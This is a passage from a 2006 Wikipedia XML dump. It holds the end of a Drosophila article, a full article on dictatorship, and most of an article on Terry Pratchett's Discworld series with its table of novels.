#Swan, Lester A., and Charles S.Papp. 1972. ''The Common Insects of North America'': Fitzhenry &amp; Whiteside Limited, Toronto. pp. 629
#Weigmann, K., Klapper, R., Strasser, T., Rickert, C., Teachnau, G.M., Jackle, H., Janning, W. and Klambt, C. (2003). ''FlyMove- A new way to look at development of ''Drosophila. pp. 19,310-311.

{{Model Organisms}}

[[Category:Drosophilidae]]
[[Category:Flies]]
[[Category:Insects]]
[[de:Taufliegen]]
[[fr:Drosophile]]
[[ja:&amp;#12471;&amp;#12519;&amp;#12454;&amp;#12472;&amp;#12519;&amp;#12454;&amp;#12496;&amp;#12456;]]{{Link FA|ja}}
[[nl:Fruitvlieg]]
[[pt:Drosophila]]
[[ru:Дрозофила]]</text>
    </revision>
  </page>
  <page>
    <title>Dictatorship</title>
    <id>9033</id>
    <revision>
      <id>42154676</id>
      <timestamp>2006-03-04T04:29:31Z</timestamp>
      <contributor>
        <username>Naryathegreat</username>
        <id>82340</id>
      </contributor>
      <minor />
      <comment>/* Definitions */</comment>
      <text xml:space="preserve">:''For other uses of the term, see [[dictator]].''
{{merge from|Dictator}}

'''Dictatorship''', in contemporary usage, refers to absolute rule by a leadership (usually one [[dictator]]) unrestricted by law, constitutions, or other social and political factors within the state.
==Definitions==
In [[Classical antiquity|Classical]] usage, a dictator referred to a constitutional extraordinary [[chief magistrate]] without a colleague in [[Ancient Rome]], who temporarily received absolute power during times of emergency. Their power was neither arbitrary nor unaccountable, however, being subject to law and requiring retrospective justification. There were no such Roman dictators after the hated [[Sulla]] (81BC), and later [[de facto]] dictators were otherwise styled (such as [[Triumvir]] and the Princeps or [[Roman Emperor]]), and exercised power more personally and arbitrarily.

Dictatorships in the modern sense tend to exert their power without any regard to the moral or ethical consequences of their actions.  They hardly ever come to power by democratic means, often being installed by a [[coup d'état]] or [[revolution]].  Often they will assert that they are using their powers, like ancient Roman dictators, to deal with the enormity of some emergency, real or imagined.  However, dictators and their governments rarely lay down their power once any such crisis has abated.  In the lack thereof, they sometimes invent their own, such as in the [[Soviet Union]] under [[Joseph Stalin]].

Such regimes survive out of the fear the people have for the government.  Dictatorships often use armed force, [[propaganda]], and arbitrary detention to enforce their will, and usually suppress any opinion which runs counter to their own.  Dictators in single-party states, as opposed to [[military junta]]s, often create [[single-party state]]s without elections, or with [[Show election|rigged or heavily biased ones]].

==Power==
The existence of dictatorships often relies solely upon the power which they are capable of exerting over their citizens.  Without it, they usually disintegrate or are completely ineffectual, such as the [[Bolshevik]] government of [[Russia]] shortly after it came to power.  Modern dictatorships have used not only force and [[coercion]], but also the [[mass media]] as tools of control. In [[People's Republic of China|China]] for instance, a [[communism|communist]] single-party state, the government controls all news broadcast in the country, censors the internet, and often simply detains those who resist.

The cultures created by many dictatorships foster what has been termed the &quot;[[cult of personality]]&quot;, where not only is the media controlled by the state, but serves to glorify it and its leader.  In [[Nazi Germany]], a picture of [[Adolf Hitler]] appeared in nearly every building.  Under [[Saddam Hussein]], every news broadcast in [[Iraq]] began with a reference to himself.  Entire art museums were filled with paintings of the leader.  The underlying tendency to want absolute power and control has been termed [[megalomania]].  Governments which impose absolute control and personality cults are sometimes known as [[totalitarianism|totalitarian]], a term originated by the dictator [[Benito Mussolini]] of [[Italy]].

Some dictatorships are supported by much of the general public, such as in [[Nazi Germany]].  These regimes often usher in a period of calm after civil war or economic hard times.  Again, the governments justify their methods as responses to the current crisis, even after it has abated.  Dictatorships rarely retain lasting support, however.  Eventually the people begin to push for greater freedoms, and the dictatorship is forced to employ more coercive tactics in order to survive.  Such was the case in the [[communist]] regimes of [[Eastern Europe]] during the [[Cold War]], many of which enjoyed initial popular support.

==Types==
Dictatorships are broadly divided into two types: those defined by ideology and those with no clear ideological motive, although some may be a hybrid of the two.  Regimes in developed nations are more often based in  some ideology, such as in [[Nazi Germany]] or the [[Soviet Union]].  Most others are [[military dictatorship]]s (popularly known as [[junta]]s), their sole purpose often being to maintain themselves.  During the [[Cold War]], many Western-backed regimes in the developing world were military dictatorships, like the case of [[Augusto Pinochet]] in [[Chile]].  In contrast to both groups, the reign of the [[fascist]] [[Francisco Franco]] in [[Spain]], for example, fits completely into neither category.

==The 19th century==

In the 1860s, Queen Victoria of Great Britain expressed fears of dictatorial tendencies in PM William Gladstone.

==The 20th century== 
===Interbellum===

In the twentieth century, dictatorship has been an essential pillar of [[single-party state]]s, [[military dictatorship|military regimes]], and other forms of [[authoritarianism]].

In the interwar era (between the [[First World War]] and the [[World War II|Second World War]]), [[fascism|fascist]] regimes, such as [[Benito Mussolini|Mussolini]]'s Italy and [[Adolf Hitler|Hitler's]] Germany, incorporated principles of dictatorship with a single-party state, mass mobilization and regimentation of social and economic activity, and arbitrary exercise of police power. The prototype of the fascist dictatorship was fashioned in Italy after [[1922]], and later emulated by [[Nazi Germany]] (beginning in [[1933]]), as well as by a number of other fascist or quasi-fascist European governments during the [[1930s]]. Fascist dictatorships were dealt a fatal blow by the defeat of the [[Axis Powers]] in World War II.

Also during the interwar era, the [[Soviet Union]] under [[Joseph Stalin]] fused dictatorship with single-party rule, mass mobilization, and arbitrary use of power. Stalin was the first modern dictator who created [[cult of personality]] around himself. The Soviet Union emerged victorious in the Second World War and entered a new phase after Stalin's death, by shifting from a personal dictatorship to a collective, though still authoritarian, leadership.

===Postwar era===
After the Second World War, which was fought in the name of eliminating fascist dictatorships, dictatorships formed in many newly independent countries as well as in the Soviet-controlled countries. In the case of most African or Asian former colonies, after achieving their independence in the postwar wave of [[decolonization]], presidential regimes were gradually transformed into personal dictatorships.  These regimes often proved unstable, with [[dictator]]s being frequently overthrown and replaced in [[coup]]s. [[Military dictatorship]]s were very common, particularly in [[Latin America]] and Africa.

The collapse of communism in [[1989]] and [[1990]] led to the collapse of many dictatorships in [[eastern Europe]]. However, many of the states which resulted from the demise of the Soviet Union were controlled by authoritarian leaders, such as [[Saparmurat Niyazov]] in [[Turkmenistan]]. A number of these rulers were overthrown peacefully in the [[color revolution]]s of [[2004]] and [[2005]]; however, these ended with the government massacre of many hundreds of people in [[Uzbekistan]]. In addition, the communist regimes in [[People's Republic of China|China]], [[North Korea]], [[Laos]], and [[Vietnam]] did not fall and continue to survive. Many autocratic leaders still control countries in Africa, such as [[Robert Mugabe]] in [[Zimbabwe]], with varying degrees of democracy.

== Sources and References ==
*[[Giorgio Agamben]], ''State of Exception'' (2005)
*[[Hannah Arendt]], ''[[The Origins of Totalitarianism]]'' (1951)
*[[Claude Lefort]]
*[[Montesquieu]]
*[[Pauly-Wissowa]]
*[[Plato]]
*[[Nicos Poulantzas]], ''Fascism and dictatorship: the Third International and the problem of fascism'' 1970
**Nicos Poulantzas, ''The crisis of the dictatorships: Portugal, Greece, Spain'' 1976
*[[Carl Schmitt]], ''On Dictatorship'' (1921)
*[[Leo Strauss]]
*[[Max Weber]]

==See also==
* [[Absolute monarchy]]
* [[Bipartidism]]
* [[Elective dictatorship]]
* [[Forms of government]]
* [[Generalissimo]]
* [[Kleptocracy]]
* [[Military dictatorship]]
* [[Military rule]]
* [[Plutocracy]]
* [[Police state]]
* [[Totalitarianism]]
* [[Unitary Executive theory]]

{{philosophy portal}}

[[Category:Constitutional state types]]
[[Category:Forms of government]]
[[Category:Political philosophy]]

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    </revision>
  </page>
  <page>
    <title>Discworld</title>
    <id>9037</id>
    <revision>
      <id>41881894</id>
      <timestamp>2006-03-02T09:29:04Z</timestamp>
      <contributor>
        <ip>15.203.169.126</ip>
      </contributor>
      <comment>only 34 books until now</comment>
      <text xml:space="preserve">:''[[Diskworld]], spelled with a &quot;k&quot;, was a [[disk magazine]] for the [[Apple Macintosh]], later renamed Softdisk for Mac.''

[[Image:TCoM.cover.jpg|thumb|right|Cover art of [[The Colour of Magic]] by [[Josh Kirby]]]]
The '''''Discworld''''' is a [[Book series|series]] of thirty-four [[satirical]] fantasy novels and a number of shorter works by [[Terry Pratchett]] set on [[Discworld (world)|the Discworld]]. Since the first novel, ''[[The Colour of Magic]]'' ([[1983 in literature|1983]]), the series has gone from strength to strength, spawning related works including music inspired by the series, as well as cartoon and theatre adaptations. Newly released Discworld books regularly top ''[[The Sunday Times]]'' bestsellers list, with Pratchett being the [[United Kingdom|UK]]'s best selling author in the [[1990s]], mainly on the strength of the Discworld (he has since been overtaken by [[Harry Potter]] author [[J.K. Rowling]], but still holds the record for the most [[shoplifting|shoplifted]] books).

Discworld novels have also won awards such as the [[Prometheus Award]] and the [[Carnegie Medal]]. In the [[BBC]]'s [[Big Read]], four Discworld books were in the top 100, and a total of fourteen in the top 200.

==Published work==
===The novels===
Terry Pratchett first explores the idea of a disc-shaped world in the novel ''[[Strata (novel)|Strata]]'', however this flat world is a projected version of the Eurasian hemisphere of Earth, not the fantasy realm of the true discworld series.

The world has been chronicled through at least 35 novels and several short stories so far. The novels up to and including'' [[The Truth (novel)|The Truth]]'' (and almost all [[Terry Pratchett|Pratchett]] books to date) had cover art done by [[Josh Kirby]] (who died in [[October]] [[2001]]), but only in the original British editions.  The American editions, published by HarperCollins, do not feature Kirby's cover art. Recent British editions of Pratchett's older novels no longer feature Kirby's art. Since the death of Kirby, the covers have been designed by artist [[Paul Kidby]].

Almost all of the Discworld novels are notable for having no chapter divisions. Instead, most of the time there are different storylines interwoven with one another.  ''[[Going Postal]]'' did entirely the opposite, even going so far as to include a prologue and epilogue along with brief teasers of what was to come in each chapter. The first Discworld novel, ''[[The Colour of Magic]]'', was divided into &quot;books&quot;, as was ''[[Pyramids (Discworld)|Pyramids]]''.

Many novels share the same lead characters and show their development over time.  Some of the main characters of one book may also make a [[cameo appearance]] in another book where they are not the primary focus; for example, [[Samuel Vimes]] appears briefly in ''Going Postal''.  The novels can be grouped into several story arcs, with characters or themes in common:
* The [[Rincewind]] stories - These stories centre on a &quot;wizzard&quot; (the label on his hat) of sorts called [[Rincewind]]. The &quot;of sorts&quot; is because Rincewind is a complete failure at magic, but through a series of events is recognised as a wizard (for want of any other suitable term). The other wizards at the [[Unseen University]] are sometimes seen in these stories.
* The [[Witches (Discworld)|Witches]] stories - These stories centre on the witches of [[Lancre]], particularly [[Granny Weatherwax]], [[Nanny Ogg]], [[Magrat Garlick]], and later [[Agnes Nitt]].
* The Death stories - These stories centre on [[Death (Discworld)|Death]] in his usual personification as a skeleton in black robes with a scythe. Death's companions are his granddaughter [[Susan Sto Helit|Susan]], his butler [[Albert (Discworld)|Albert]] and the [[Minor Discworld characters#Death of Rats|Death of Rats]], the rat equivalent of the human Death. In later novels Susan takes centre stage, although Death is still a key player.  Death appears in all but one novel in the series, ''[[The Wee Free Men]]''.
* The [[Ankh-Morpork City Watch|City Watch]] stories - These stories centre on Ankh-Morpork's equivalent of a police force, the City Watch. [[Samuel Vimes]] leads the city watch, and among his officers are [[Carrot Ironfoundersson]], [[Angua]], [[Sergeant Colon|Fred Colon]], [[Detritus (Discworld)|Detritus]] and [[Nobby Nobbs|&quot;Nobby&quot; Nobbs]].
* The [[Witches (Discworld)#Tiffany Aching|Tiffany Aching]] stories - These stories centre on the character of Tiffany Aching, a young girl who has the unusual allies of the [[Nac Mac Feegle]].  The stories are primarily written as children's books.  They also tie in to the Witches stories, especially ''[[A_Hat_Full_of_Sky|A Hat Full of Sky]]''.
* The Miscellaneous stories - where none of the above five applies, or the main characters from them only appear briefly, or at least not as the main characters of the story in question.  The best examples of these are possibly ''[[Small Gods]]'' and ''[[Pyramids (Discworld)|Pyramids]]''.

This distinction is by no means clear-cut. Many stories (such as ''The Truth'' and ''Thief of Time'') nominally stand alone but nonetheless tie in heavily with main storylines. A number of characters, such as the Unseen University staff, the Monks of History, or the Elves, appear prominently in many different storylines without having titles of their own. As it is, many of these 'stand alone' stories deal with the development of the city of Ankh-Morpork into a technologically advanced [[metropolis]]. For example, ''The Truth'' catalougues the rise of a [[newspaper]] service for the city, and ''Going Postal'' similarly deals with the development of a post service and the rise of the Discworld's [[telecommunications]] system called 'the clacks'.

The Discworld novels are as follows:

{| class=&quot;wikitable&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; 
!Name
!Group
!ISBN
!Notes
!Motifs
|- align=&quot;left&quot;
|''[[The Colour of Magic]]''
|Rincewind
|Paperback: ISBN 0552124753
|First published [[1983]]. Came 93rd in the [[Big Read]]. 
|[[Fantasy]] [[cliché]]s; [[Role-playing game|Role-playing games]]; [[tourism]]
|- align=&quot;left&quot;
|''[[The Light Fantastic]]''
|Rincewind
|Paperback: ISBN 0552128481
|First published [[1986]].
|Fantasy clichés; [[tourism]]
|- align=&quot;left&quot;
|''[[Equal Rites]]''
|The Witches
|Paperback: ISBN 0552131059
|First published [[1987]].
|Fantasy clichés, [[Feminism|Gender equality]]
|- align=&quot;left&quot;
|''[[Mort]]''
|Death
|Paperback: ISBN 0552131067
|First published [[1987]]. Came 65th in the [[Big Read]]. 
|[[Death]] and its [[Death (Discworld)|personification]]
|- align=&quot;left&quot;
|''[[Sourcery]]''
|Rincewind
|Paperback: ISBN 0552131075
|First published [[1988]].
|Fantasy Stories, [[Apocalypse]], ''[[Kubla Khan]]''
|- align=&quot;left&quot;
|''[[Wyrd Sisters]]''
|The Witches
|Paperback: ISBN 0552134600
|First published [[1988]]. Came 135th in the [[Big Read]]. 
|[[William Shakespeare|Shakespeare]], especially [[Macbeth]] and [[Hamlet]]
|- align=&quot;left&quot;
|''[[Pyramids (Discworld)|Pyramids]]''
|Miscellaneous
|Paperback: ISBN 0552134619
|First published [[1989]].
|School stories, [[Egyptian mythology]], [[Quantum physics]], [[Greek philosophy]]
|- align=&quot;left&quot;
|''[[Guards! Guards!]]''
|The&amp;nbsp;City&amp;nbsp;Watch
|Paperback: ISBN 0552134627
|First published [[1989]]. Came 69th in the [[Big Read]]. 
|Cop novels (with some hints of ''[[film noir]]''), [[show dog]] (dragon) breeding and dragons in general, fantasy stories, [[fraternal organisation]]s, [[monarchists]]
|- align=&quot;left&quot;
|''[[Eric (Discworld)|&lt;strike&gt;Faust&lt;/strike&gt; Eric]]''
|Rincewind
|Paperback: ISBN 0575600012
|First published [[1990]]. Originally published as a 'Discworld story': larger format and fully illustrated by [[Josh Kirby]]; more recently reissued as a normal paperback with no illustrations.
|[[Faust]], [[Dante Alighieri|Dante]]'s ''[[The Divine Comedy|Inferno]]'', [[Homer]]'s [[Iliad]]
|- align=&quot;left&quot;
|''[[Moving Pictures (novel)|Moving Pictures]]''
|Miscellaneous, The Wizards
|Paperback: ISBN 0552134635
|First published [[1990]]. 
|[[Hollywood]], the [[Cthulhu Mythos]]
|- align=&quot;left&quot;
|''[[Reaper Man]]''
|Death, The Wizards
|Paperback: ISBN 0552134643
|First published [[1991]].  Came 126th in the [[Big Read]]. 
|[[Alien invasion]] [[science fiction|SF]], &quot;[[Man with No Name]]&quot; [[Western fiction|Westerns]], [[Modernization]], [[Shopping mall]]s, [[Civil rights|Minority rights movements]]
|- align=&quot;left&quot;
|''[[Witches Abroad]]''
|The Witches
|Paperback: ISBN 0552134651
|First published [[1991]].  Came 197th in the [[Big Read]]. 
|[[Fairy tale]]s, [[Voodoo]], and [[tourism]]
|- align=&quot;left&quot;
|''[[Small Gods]]''
|Miscellaneous, the History Monks
|Paperback: ISBN 0552138908
|First published [[1992]].  Came 102nd in the [[Big Read]]. 
|[[Religion]] (especially [[Christianity]] and [[Spanish Inquisition|the Spanish Inquisition]], with major thematic references to [[Friedrich Nietzsche|Nietzsche]]), [[Philosophy]] (especially [[Ancient Greek]])
|- align=&quot;left&quot;
|''[[Lords and Ladies (novel)|Lords and Ladies]]''
|The Witches, The Wizards
|Paperback: ISBN 0552138916
|First published [[1992]]. 
|[[William Shakespeare|Shakespeare]] especially [[A Midsummer Night's Dream]], [[Unidentified flying object|UFO]]s, [[Fairy]] lore
|- align=&quot;left&quot;
|''[[Men at Arms]]''
|The City Watch
|Paperback: ISBN 0552140287
|First published [[1993]].  Came 148th in the [[Big Read]]. 
|Cop novels, [[gun control]], racial prejudice, Tolkien-type 'kings in hiding'
|- align=&quot;left&quot;
|''[[Soul Music]]''
|Death, The Wizards
|Paperback: ISBN 0552140295
|First published [[1994]].  Came 151st in the [[Big Read]]. 
|[[Rock music]], and related mythologising (A running joke, &quot;He looks elvish&quot;, refers to the myth that Elvis is not dead). Also scenes taken from [[The Blues Brothers]] film (eg: &quot;We're on a mission from Glod&quot;)
|- align=&quot;left&quot;
|''[[Interesting Times]]''
|Rincewind, The Silver Horde
|Paperback: ISBN 0552142352
|First published [[1994]]. 
|[[Imperial China]], [[Communism]]
|- align=&quot;left&quot;
|''[[Maskerade]]''
|The Witches
|Paperback: ISBN 0552142360
|First published [[1995]]. 
|[[Opera]], ''[[The Phantom of the Opera]]'', [[Goth|the Gothic subculture]], 
|- align=&quot;left&quot;
|''[[Feet of Clay]]''
|The City Watch
|Paperback: ISBN 0552142379
|First published [[1996]]. 
|Cop Novels, [[List of fictional robots|Robots]] ([[RoboCop]] and ''[[Terminator 2: Judgment Day]]'' come in for particular attention), Jewish Mythology, [[atheism]], murder (or, here, attempted assassination) mysteries, ethnicity and minorities, [[heraldry]], [[slavery]]/[[serfdom]]
|- align=&quot;left&quot;
|''[[Hogfather]]''
|Death, The Wizards
|Paperback: ISBN 0552145424
|First published [[1996]].  Came 137th in the [[Big Read]]. 
|[[Christmas]]; Children's stories; [[religion]] as [[mythology]], the [[christ myth]], and settling the two big Questions for a child: Is there a Santa Claus (Hogfather), and What does the toothfairy do with all those teeth, anyway?, [[belief]]
|- align=&quot;left&quot;
|''[[Jingo (novel)|Jingo]]''
|The City Watch
|Hardback: ISBN 0575065400 - Paperback: ISBN 055214598X
|First published [[1997]]. 
|[[War]], [[Diplomacy]], [[Racism]] and [[Xenophobia]], [[Multiculturalism]], [[Jingoism]], [[Imperialism]], [[Leonardo da Vinci]], [[submarines]]
|- align=&quot;left&quot;
|''[[The Last Continent]]''
|Rincewind, The Wizards
|Hardback: ISBN 0385409893 - Paperback: ISBN 0552146145
|First published [[1998]]. 
|Action/Adventure, Evolution/Creation, [[Australia]]
|- align=&quot;left&quot;
|''[[Carpe Jugulum]]''
|The Witches
|Hardback: ISBN 0385409923 - Paperback: ISBN 0552146153
|First published [[1998]]. 
|[[Vampire]] novels, [[Existentialism]], Tradition versus Change, morality
|- align=&quot;left&quot;
|''[[The Fifth Elephant]]''
|The City Watch
|Hardback: ISBN 0385409958 - Paperback: ISBN 0552146161
|First published [[1999]].  Came 153rd in the [[Big Read]]. 
|[[Diplomacy]], [[Eastern European]] [[folklore]] and [[literature]], ''[[The Maltese Falcon]]'', Political-[[conspiracy]] novels, [[petroleum]], the [[global economy]], [[national myths]], [[werewolves]]
|- align=&quot;left&quot;
|''[[The Truth (novel)|The Truth]]''
|Miscellaneous, the City Watch
|Hardback: ISBN 0385601026 - Paperback: ISBN 0552147680
|First published [[2000]].  Came 193rd in the [[Big Read]]. 
|[[Watergate scandal|Watergate]], [[Newspaper]]s, ''[[Neverwhere]]'', ''[[Pulp Fiction]]'', ''[[The Front Page]]'' and ''[[His Girl Friday]]''
|- align=&quot;left&quot;
|''[[Thief of Time]]''
|Death, the History Monks
|Hardback: ISBN 0385601883 - Paperback: ISBN 0552148407
|First published [[2001]].  Came 152nd in the [[Big Read]]. 
|[[Wuxia]] and [[Martial arts film]]s, [[Chaos]], [[James Bond]] movies, [[Quantum Physics]], [[The Beatles|The Fab Four]] and the [[Apocalypse]]
|- align=&quot;left&quot;
|''[[The Last Hero]]''
|Rincewind, The Silver Horde
|Hardback: ISBN 057506885X - Paperback: ISBN 0575073772
|First published [[2001]]. Published in a larger format, fully illustrated by [[Paul Kidby]].
|[[Legends]], [[Prometheus]], [[D&amp;D]], [[Conan the Barbarian]], the [[Space shuttle]], [[Apollo 13]], the designs of [[Leonardo da Vinci]], ''[[Catch-22]]''
|- align=&quot;left&quot;
|''[[The Amazing Maurice and his Educated Rodents]]''
|Miscellaneous
|Hardback: ISBN 0385601239 - Paperback: ISBN 055255202X
|First published [[2001]]. A children's Discworld book. Winner of the 2001 [[Carnegie Medal]].
|[[Beatrix Potter]], [[The Pied Piper of Hamelin]], ''[[The Secret of NIMH]]''
|- align=&quot;left&quot;
|''[[Night Watch (novel)|Night Watch]]''
|The City Watch, the History Monks
|Hardback: ISBN 0385602642 - Paperback: ISBN 0552148997
|First published [[2002]]. Received the [[Prometheus Award]] in [[2003]]. Came 73rd in the [[Big Read]]. 
|Cop Novels, Historical novels (esp. ''[[Les Misérables]]''), [[time travel]], the [[French Revolution]], the [[Peterloo Massacre]], [[Spanish Inquisition|the Spanish Inquisition]], the [[Grandfather paradox]]
|- align=&quot;left&quot;
|''[[The Wee Free Men]]''
|Tiffany Aching
|Hardback: ISBN 0385605331 - Paperback: ISBN 0552549053
|First published [[2003]]. Another children's Discworld book.
|Folklore, Mythic [[Scotland]], as seen in ''[[Braveheart]]'' and ''[[Highlander]]'', the [[fairy]] paintings of [[Richard Dadd]]; [[subjective experience]], [[the Smurfs]]
|- align=&quot;left&quot;
|''[[Monstrous Regiment (novel)|Monstrous Regiment]]''
|Miscellaneous, the City Watch
|Hardback: ISBN 0552149411 - Paperback: ISBN 0552149411
|First published [[2003]]. For the origin of the title of this novel, see [[The First Blast of the Trumpet Against the Monstrous Regiment of Women]].
|[[Folk song]] (especially [[Sweet Polly Oliver]]), [[Joan of Arc]], [[cross-dressing#Famous historical examples of cross-dressing people|women who disguise themselves as men to join the army]] (e.g. [[Gauntlett Bligh Barker|Colonel Gauntlett Bligh Barker]] and [[Mulan]]), the [[Napoleonic Wars]] (possibly as interpreted through [[Bernard Cornwell]]'s ''[[Sharpe]]'' novels), [[World War I|First World War]] (especially the patriotism and &quot;Home by Christmas&quot; mentality), [[feminism]], wartime journalism 
|- align=&quot;left&quot;
|''[[A Hat Full of Sky]]''
|Tiffany Aching
|Hardback: ISBN 0385607369 - Paperback: ISBN 0552551449
|First published [[2004]]. A third children's Discworld book. 
|The history and folklore of witches in Britain, mind controlling [[Extraterrestrial_life|alien]]s in [[science fiction]], arguably [[Jill Murphy]]'s ''[[The Worst Witch]]''
|- align=&quot;left&quot;
|''[[Going Postal]]''
|Miscellaneous
|Hardback: ISBN 0385603428 - Paperback: ISBN 0552149438
|First published [[2004]]. 
|[[Politics]], [[confidence trick|con men]], [[corporate crime]] and [[business practices]], monopolies ([[Fox Entertainment Group|Fox]] and [[Rupert Murdoch]]; and [[AT&amp;T]] and its [http://www.nwfusion.com/news/2004/083004widernetgoldenboy.html &quot;Golden Boy&quot;]), [[Ayn Rand]] and [[Objectivist philosophy]], history of the [[Post Office]], the [[Internet]], [[hack (technology slang)|hacking]] or more specifically [[phreaking]]; [[fraternal organisation]]s, [[stamp collecting]]
|- align=&quot;left&quot;
|''[[Thud!]]''
|The City Watch
|Hardback: ISBN 0060815221
|Published September 2005
|Politics, Cop Novels, [[Affirmative Action]], ''[[The Da Vinci Code]]'', [[Plato]], ''[[The Lord Of The Rings]]'', ''[[The Silmarillion]]'', [[race relations]], [[fatherhood]], [[chess]]
|- align=&quot;left&quot;
|''[[Wintersmith]]''
|Tiffany Aching
|Hardback: ISBN 0385609841
|A brief excerpt was read at the 2004 Convention. Due for publication September 28, 2006.
|&amp;nbsp;
|- align=&quot;left&quot;
|''[[Making Money]]''
|Miscellaneous
|&amp;nbsp;
|Future novel, confirmed recently by Terry as the book he's begun writing as of the completion of ''Wintersmith''. Set to be the second novel featuring [[Moist von Lipwig]]. The title and the end of ''Going Postal'' would seem to indicate that it involves the Ankh Morpork mint. 
|&amp;nbsp;
|- align=&quot;left&quot;
|''[[I Shall Wear Midnight]]''
|Tiffany Aching
|&amp;nbsp;
|Possible future novel, hinted at in 'The Art of Discworld'.
|&amp;nbsp;
|- align=&quot;left&quot;
|No title as yet
|Rincewind
|&amp;nbsp;
|Possible future novel featuring Rincewind - From 'The Art of Discworld'.
|&amp;nbsp;
|- align=&quot;left&quot;
|''Nation''
|Unknown
|&amp;nbsp;
|Possible future novel about a nation consisting of one person - From Orange Word interview
|&amp;nbsp;
|- align=&quot;left&quot;
|''Unseen Academicals''
|The Wizards
|&amp;nbsp;
|Possible future novel about soccer/football at the Unseen University' - From [http://www.alternativenation.net/forums/showthread.php?t=87270 Alternative Nation] interview.
|&amp;nbsp;
|- align=&quot;left&quot;
|''Scouting for Trolls''
|Unknown
|&amp;nbsp;
|Possible future novel - From [http://www.alternativenation.net/forums/showthread.php?t=87270 Alternative Nation] interview.
|&amp;nbsp;
|}

===Short stories===
There are also four short stories by Pratchett based in the Discworld:  ''[[Theatre of Cruelty (Discworld)|Theatre of Cruelty]]'', ''[[Death and What Comes Next]]'', ''[[Troll Bridge]]'' and ''[[The Sea and Little Fishes]]''. The first two are available [http://www.lspace.org/books/index.html online]. The third was published in ''After The King: Stories in honour of [[J. R. R. Tolkien]]'', and the fourth in ''Legends'', edited by [[Robert Silverberg]].

In addition, all of these stories, as well as such Discworld miscellany as the history of [[Thud]] and the Ankh-Morpork national anthem have been collected as part of a compilation of all Pratchett's shortwork, ''[[Once More* *With Footnotes]]''.

===Quiz books===
Thus far, there are also two [[Discworld]] [[Quiz]]books compiled by [[David Langford]]:
* ''[[The Unseen University Challenge]]'', parodying the TV quiz show ''[[University Challenge]]''
* ''[[The Wyrdest Link]]'', parodying the TV quiz show ''[[The Weakest Link]]''

===The Maps===
Furthermore, there are four '''Mapps''':
* ''[[The Streets of Ankh-Morpork]]'' (1993) 
* ''[[The Discworld Mapp]]'' (1995) 
* ''[[A Tourist Guide to Lancre]]'' (1998)
* ''[[Death's Domain]]'' (1999)

The first two were drawn by Stephen Player, based on plans by Pratchett and [[Stephen Briggs]], the third is a collaboration between Briggs and Kidby, and the last is by [[Paul Kidby]]. All also contain booklets written by Pratchett and Briggs.

==='Science' books===
Pratchett has also collaborated with [[Ian Stewart (mathematician)|Ian Stewart]] and [[Jack Cohen (scientist)|Jack Cohen]] on three books using the Discworld to illuminate [[popular science]] topics through means of a completely fictional story.  Each book could be seen as containing a short Discworld novel in its own right, with chapters switching between the story and notes on real science related to it.  The books released are:
* ''[[The Science of Discworld]]''
* ''[[The Science of Discworld II: The Globe]]''
* ''[[The Science of Discworld III: Darwin's Watch]]''

===Diaries===
Most years see the release of a '''Discworld Diary''' and '''Calendar''', both usually following a particular theme.  The Diaries released so far are:
* ''[[Discworld's Unseen University Diary]]'': 1998; the cover art features the character [[Death (Discworld)|Death]], possibly the character who appeared in the greatest number of Discworld novels.
* ''[[Discworld's Ankh-Morpork City Watch Diary 1999]]'': 1999; the cover art features the character Commander [[Samuel Vimes]] of the [[Ankh-Morpork City Watch|Watch]], His Grace the Duke of Ankh, in his beloved street uniform, in other words, battered Watchman armor.
* ''[[Discworld Assassins' Guild Yearbook and Diary 2000]]'': 2000; the cover art features the character Lord Downey, the [[Ankh-Morpork Assassins' Guild|Assassins' Guild]] leader, with his specialty peppermint (rumored poisoned).
* ''[[Discworld Fools' Guild Yearbook and Diary 2001]]'': 2001; the cover art features Dr Whiteface, the Fools' Guild leader, bursting through a paper hoop.
* ''[[Discworld Thieves' Guild Yearbook and Diary 2002]]'': 2002; the cover art features a &quot;photofit&quot; of Mr Boggis, the [[Ankh-Morpork Thieves' Guild|Thieves' Guild]] leader.
* ''[[Discworld (Reformed) Vampyre's Diary 2003]]'': 2003; the cover art features Mr John Not-A-Vampire-At-All Smith, head of the Ankh-Morpork Mission of the [[Undead (Discworld)#Vampires|Black Ribboners]] with a cup of steaming brown liquid, likely coffee or hot cocoa.

There were no diaries for 2004 - 2006, as Pratchett and [[Stephen Briggs]] were worried about running out of ideas. Having rested the concept, the ''Discworld Post Office Diary 2007'' has been announced.

===Associated publications===
Other Discworldesque publications include:
* ''[[The Discworld Portfolio]]'' (a collection of Paul Kidby's artwork, with notes by Pratchett)
* ''[[The Discworld Companion]]'' (an encyclopedia of Discworld information, compiled by Pratchett and Briggs. An updated version was released in 2003, titled ''The New Discworld Companion''.)
* ''[[Nanny Ogg's Cookbook]]'' (a collection of Discworldly recipes, combined with ettiquette, language of flowers etc., written by Pratchett with Stephen Briggs and [[Tina Hannan]])
* ''[[The Art of Discworld]]'' (another collection of Paul Kidby's art)
* ''[[The Discworld Almanack]]'' (an [[almanac]] for the Discworld year, in the style of the Diaries and the Cookbook, written by Pratchett with [[Bernard Pearson]])
* ''[[Where's My Cow?]]'' (a Discworld picture book referenced in [[Thud!]], written by Pratchett with illustrations by [[Melvyn Grant]])

==Adaptations==
===Stage adaptations===
Stage adaptations of eleven Discworld novels have been published, with proceeds from the rights going to charity. The adaptations are by Stephen Briggs (apart from one, ''Lords and Ladies'', by Irana Brown), and were first produced by the Studio Theatre Club in [[Abingdon, England|Abingdon]], [[Oxfordshire]].
They include adaptations of ''The Truth'', ''Maskerade'', ''Mort'', ''Wyrd Sisters'', and ''Guards! Guards!''.
Stage adaptions of Discworld novels have been performed on every continent in the world, including [[Antarctica]].

===Movie adaptations===
There have been several aborted attempts at bringing stories from the Discworld to the silver screen, including a fan attempt of ''Maskerade'' that failed through lack of funds.
[[Australia]]n group ''[[Snowgum Films]]'' have completed principal photography on the short story ''[[Troll Bridge (movie)|Troll Bridge]]''.  
